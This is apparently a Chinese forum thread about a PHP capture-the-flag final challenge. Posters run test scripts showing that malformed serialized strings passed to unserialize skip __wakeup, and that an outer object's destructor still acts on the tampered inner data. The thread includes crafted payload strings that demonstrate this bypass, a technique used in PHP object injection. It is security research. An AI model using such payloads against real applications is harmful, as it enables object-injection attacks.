[CTF]安全大赛,决赛题目。唯一和PHP有关的题目,大佬进来看看
实验结果表明,@老虎会仰泳 左边的代码确实说明了,PHP不会调用有问题的对象的析构函数。而且@老虎会仰泳 犯了一个错误,他没有看到\0Wo\0name
中的\0
(因为它不会在终端里显示)。
我的测试用例:
<?php
class Wo {
private $name = 'mmmm111111111';
public function __wakeup() {
echo "__wakeup\n";
}
public function __destruct() {
echo "__destruct\n";
var_dump($this->name);
}
}
echo "----------- normal -----------\n";
$WoObj = new Wo();
echo str_replace("\0", '\0', serialize($WoObj)), "\n";
var_dump($WoObj);
$WoObj = null;
echo "----------- normal -----------\n";
$WoObj2 = unserialize(<<<EOF
O:2:"Wo":1:{s:8:"\0Wo\0name";s:13:"mmmm111111111";}
EOF);
var_dump($WoObj2);
$WoObj2 = null;
echo "----------- bad -----------\n";
$WoObj3 = unserialize(<<<EOF
O:2:"Wo":2:{s:8:"\0Wo\0name";s:1:"mmmm";}
EOF);
var_dump($WoObj3);
$WoObj3 = null;
运行结果:
bad那一段确实没有调用析构函数。PHP开发者可能觉得这样就足够了,但是没想到还可以通过外层对象的析构函数使用有问题的数据。
确实如此,外部对象的析构函数可以触发,并且可以使用内部有问题的对象数据。
<?php
class A {
private $name = 'hello';
public function setName($name) {
$this->name = $name;
}
public function __destruct() {
echo "__destruct\n";
echo $this->name, "\n";
}
}
class B {
private $name = 'world';
public function setName($name) {
$this->name = $name;
}
public function __toString() {
return $this->name;
}
public function __wakeup() {
echo "__wakeup\n";
$this->setName('no unserialize');
}
}
echo "----------- normal -----------\n";
$a = new A();
$a->setName(new B());
echo str_replace("\0", '\0', serialize($a)), "\n";
var_dump($a);
$a = null;
echo "----------- normal -----------\n";
$a2 = unserialize(<<<EOF
O:1:"A":1:{s:7:"\0A\0name";O:1:"B":1:{s:7:"\0B\0name";s:5:"pwned";}}
EOF);
var_dump($a2);
$a2 = null;
echo "----------- bad -----------\n";
$a3 = unserialize(<<<EOF
O:1:"A":1:{s:7:"\0A\0name";O:1:"B":2:{s:7:"\0B\0name";s:5:"pwned";}}
EOF);
var_dump($a3);
$a3 = null;
牛啊牛啊
小米MIX2s(白)
按照“serialize的内容只是在内部使用,从未接收来自用户的serialize内容”这个标准,虎绿林在帖子里存储serialize内容其实是安全的。不过我还是改成了JSON,因为JSON有一个好处:不在结构里存储内容长度。
所以我终于可以进行这种替换了:
update hu60_bbs_topic_content set content=replace(content, 'file.hu60.cn//////', 'file.hu60.cn/') where content like '%file.hu60.cn//////%'
从SQL也能看出来,使用serialize的时候想要做个替换是多么辛苦。为什么有那么多/
?因为它来自上一次替换,并且不等长替换会导致serialize结构错误。
呃,从@老虎会仰泳 的截图来看,它甚至都没有修复会调用有问题的对象本身的析构函数这个问题。
所以 https://github.com/php/php-src/commit/20ce2fe8e3c211a42fee05a461a5881be9a8790e 仅仅只是从测试用例出发,只是阻止了有问题的对象从
unserialize
返回,没有任何进一步的思考???